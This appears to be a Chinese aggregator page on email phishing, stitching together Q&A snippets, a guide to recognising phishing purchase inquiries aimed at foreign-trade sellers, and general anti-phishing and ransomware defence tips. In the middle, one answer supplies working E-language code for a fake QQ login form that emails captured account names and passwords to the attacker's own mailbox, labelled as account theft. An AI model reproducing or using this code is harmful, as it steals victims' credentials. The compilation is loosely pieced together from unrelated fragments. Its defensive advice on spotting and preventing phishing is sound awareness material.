邮箱钓鱼系统设计（网络钓鱼电子邮件常见特点）

怎么有效防御垃圾邮件钓鱼邮件？

反垃圾邮件云网关足以保障邮件安全，这也是我们公司信赖上海青羽的原因所在。

做qq钓鱼软件,要修改qq邮箱哪些设置

你好，QQ邮箱中有强大的安全防护机制，一个不允许添加EXE可执行文件，更重要的是会对上传的附件进行安全扫描，只有安全的附件才能被发送，而你这种软件肯定不会被认为是安全的，从而将阻止发送出去，而且这种安全设定不是你能够更改得了的，所以建议你还是不要这样做为好。

几种外贸钓鱼邮件形式

01、钓鱼邮件发展史

对方发来一封询盘邮件，但是要求发在wetransfer链接里，要不要打开呢？

关于钓鱼询盘，很多外贸小伙伴们不寒而栗，虽然出现了很多年，但是他们的行骗手段花样百出，紧跟时代潮流；最可恶的是他们还会使用国外避税账户，本人又在第三国，一旦汇入账户，钱就会被迅速转移，想要追回货款，受制于多个国家的法律法规和国际法，也是追讨无门。

1.0版本钓鱼询盘

特征一：既不提产品信息，也不提价格，直接说要采购商品

特征二：邮件的附件类型是excel，word格式的PO或者是php、exe后缀的可执行文件，提示你点开，点开之后就会跳转出来提示框，要求输入自己的邮箱账号和密码。

2.0版本钓鱼询盘

特征一：使用企业邮箱域名发出，带有简单网站。邮件里明确提出他需要的产品、规格等要求；

特征二：像1.0版本那样，带附件PO或者询价单要求你点开，提示你输入自己邮箱账号和密码。

大家要注意，在国外很多邮箱都会提供免费的企业邮箱服务，域名也十分便宜，伪造成本很低。

3.0版本钓鱼询盘

特征一：之前联系过的老客户邮箱发来的询盘

特征二：附件提示要求输入邮箱密码并且注册老用户的询盘系统来获取询价明细

这种钓鱼询盘一般80%以上都会被骗，因为老客户的邮箱密码被盗了；并且在国外，一般大企业都会采用供应商管理系统或者要求供应商在线注册，所以企业的账号和密码很容易泄露，而且还有老用户的邮件背书。

这种骗子一般会进入你的邮箱慢慢观察你和客户之前的沟通往来邮件，然后骗子会注册一个跟你公司名和邮箱相似度99%以上的邮箱，一旦发现你和买家的邮件中涉及大笔金额交易，直接通过假邮箱给客户发邮件，要求客户把货款打入指定的账号。

02、钓鱼询盘辨别方法

虽然钓鱼询盘花样百出，实际上，只要做到如下几点，骗子想要得逞也不容易。

1、询盘标题

如果一个询盘的标题一看就是跟我们产品不相关或者直接就是广告信息，那么直接删除邮件即可。

2、询盘结尾

如果询盘标题判断不出是否是钓鱼询盘，可以查看结尾收留下完整的署名、公司名称

公司地址和联系方式等。很大一部分的钓鱼询盘最后的结尾都没有完整的公司信息，看到这样的询盘，如果无法判断可以根据询盘内容处理。我们也可以利用Google搜索引擎查询具体的公司信息，判断询盘的真实性。

3、询盘内容

如果询盘的标题和结尾都看不出来，可以根据询盘内容进行查看：

① 邮件中是否有具体的产品采购信息，如产品名称、型号、技术参数、预定数量等；

② 询盘中是否提到产品认证：一般询问产品是否获得某个行业认证，很有可能是走超市体系；

③ 是否提及交货时间和付款方式。一般询盘中出现这个内容，基本属于要下单用户。

④ 是否发送附件。如果第一次询盘用户发送附件，建议小心对待，看是否可以在下载，或者点击之后有无对话框，需要输入邮箱和密码。

4、询盘IP发送时间

一般通过查看ip地址，辅助查看询盘的发送时间，基本上就可以判断这封邮件来自那噶区域，根据客户描述的国家、地址以及发送时间来判断询盘的真伪。一般客户也不会在他们的非工作时间给我们发邮件，更加不会公司地址和ip地址不符合。

公司ip查询网站：

5、客户交流辨别

以上询盘辨别方案，可以针对钓鱼询盘1.0和2.0，那么遇上3.0就需要一下的辨别方案了。

① 在和客户谈判过程中，尤其是即将下单时，发现沟通不及时或者短暂失联的情况，一定要立即给客户打电话或者换一个邮箱联系，防止骗子以自己的名义进行诈骗。

② 给新老用户提醒，如果遇到以公司名义要求更改付款账户或者输入邮箱、密码的情况，一定要及时电话联系。这样不仅是对双方负责，也增加了客户对自身的信任度。

③ 不要在跳转链接、不明网站输入自己的邮箱、密码、银行账户信息。如果怀疑有问题，立马修改密码，并且换个方式通知买家。

供应商们一定要更加小心谨慎，多看多了解，多于买家沟通，避免成为钓鱼询盘中招者。

易语言钓鱼QQ邮箱如何设置 我安装系统之后 就接不到 邮箱了 请高手帮我！打酱油的别来！

前提是你的QQ邮箱必须要开通SMTP服务，如何开通，百度一下你就知道。

首先需要两个标签，两个编辑框 一个按钮，

标签1.标题=账号

标签2.标题=密码

编辑框1要输入的内容是账号

编辑框2要输入的内容是密码

按钮1用于把编辑框1内容+编辑框2内容发送到你指定的QQ邮箱

下面是代码

.版本 2

.支持库 internet

.子程序 __启动窗口_创建完毕

连接发信服务器 (“smtp.qq.com”, 25, “这里输入你的QQ号码”, “这里输入你的QQ密码”, )

.子程序 _按钮1_被单击

.判断开始 (编辑框1.内容 ≠ “” 且 编辑框2.内容 ≠ “”)

发送邮件 (“盗号的”, “账号：” ＋ 编辑框1.内容 ＋ #换行符 ＋ “密码：” ＋ 编辑框2.内容, “你的QQ账号+@qq.com”, , , “你的QQ账号+@qq.com”, )

.默认

信息框 (“账号密码不能为空！”, 0, )

.判断结束

如何预防被钓鱼邮件攻击

预防被钓鱼网站攻击要做到五要和五不要。

五要

1、要安装杀毒软件

安装杀毒软件，定期更新病毒库并进行全盘扫描，对于发现的漏洞或者病毒进行及时封堵及清理。对于下载的邮件附件需进行扫描，确认没有病毒后方可打开。

2、要加强个人信息保护意识

首先设置的邮箱密码应符合强密码规则，即至少8位以上，包含数字、大小写字符、符号中的至少3种，且不为常见的默认密码等。

其次应加强防范意识，不应将邮箱账号密码明文方式存储在电脑中或以便利贴的方式贴在电脑上，不随意告诉其他人自己的账号密码，如因特殊情况必须告知的，在使用完成后需更新密码。最后需定期（一般为90天）更换密码。

3、要提高甄别能力

重要事件一般不会只通过邮件的形式通知，会提前通过公文、或者通知相关信息员的方式进行通知。对于重要通知首先需要识别发送方是否为真实的公司邮箱地址，其次可电话邮件发送方或者询问相关管理员进行进一步确认。

4、工作邮件要使用企业邮箱收发

使用企业邮箱收发工作邮件，并且不使用企业邮箱注册各类非工作网站。企业邮箱一般能够有效过滤垃圾邮件或钓鱼邮件，强制使用复杂登录密码，并对登录情况进行详细记录，以便及时发现邮箱是否存在异常使用情况。

5、要做好重要文件的备份和清理

及时清理邮箱，对于包含敏感信息的邮件及时下载及删除。重要文件定期离线备份，防止被攻击后丢失。敏感邮件或者附件应加密发送，解密密码通过其他手段另行发送。

四不要

1、不要轻信发件人地址中显示的发件人名

发件人地址中的“显示名”可以随意变换，需要注意具体的发件人邮箱地址，即使发件人地址信息为真实可靠的，但对于邮件主题有疑议，可以直接与邮件发件人电话联系以防被钓鱼。

2、不要轻易点开邮件中的链接

不要轻易点击邮件中的链接，特别是如收到的是系统升级、账号停用等之类的紧急通知邮件，应与系统管理员进行确认，点开链接时也需要确认链接指向地址是否为系统地址。

3、不要在公共网络登录个人邮箱或银行账户

由于公共网络缺乏基本的安全防护手段，很容易被攻击和监听，建议不要在这种网络中执行登录电子邮箱、银行账户、通信软件等敏感操作，以防账号被窃取。

4、不要在公网上随意发布个人敏感信息

由于网络的开放性，所有在公网上发布的信息都容易被攻击者利用（包括论坛、微信朋友圈、微博等），攻击者可通过分析这些信息开展定向攻击。

钓鱼邮件是传播勒索软件的最常见的一种方式

邮件传播是目前互联网上常见的病毒传播方式。攻击者通过利用当前热门字样，在互联网上撒网式发送垃圾邮件、钓鱼邮件，一旦收件人点开带有勒索病毒的链接或附件，勒索病毒就会在计算机后台静默运行，实施勒索。

网络钓鱼电子邮件通常设计为看起来像是来自受信任公司的官方消息。然而，当收件人点击电子邮件中嵌入的看似无害的链接时，恶意软件可能会直接下载到他们的设备上，或者打开恶意网页，下载恶意软件或要求输入凭据、帐号或其他有价值的数据等个人信息。

防护建议

（一）定期做好重要数据、文件的异地／异机容灾备份工作，重要系统应采取双活容灾备份。

（二）采取必要措施加强计算机系统安全防护，定期开展漏洞扫描和风险评估。

（三）及时更新升级系统和应用，修复存在的中高危漏洞。

（四）安装白名单软件或主流杀毒软件并及时升级病毒库，定期进行全面病毒扫描查杀。

（五）在系统中禁用U盘、移动硬盘、光盘的自动运行功能，不要使用／打开来路不明的U盘、光盘、电子邮件、网址链接、文件。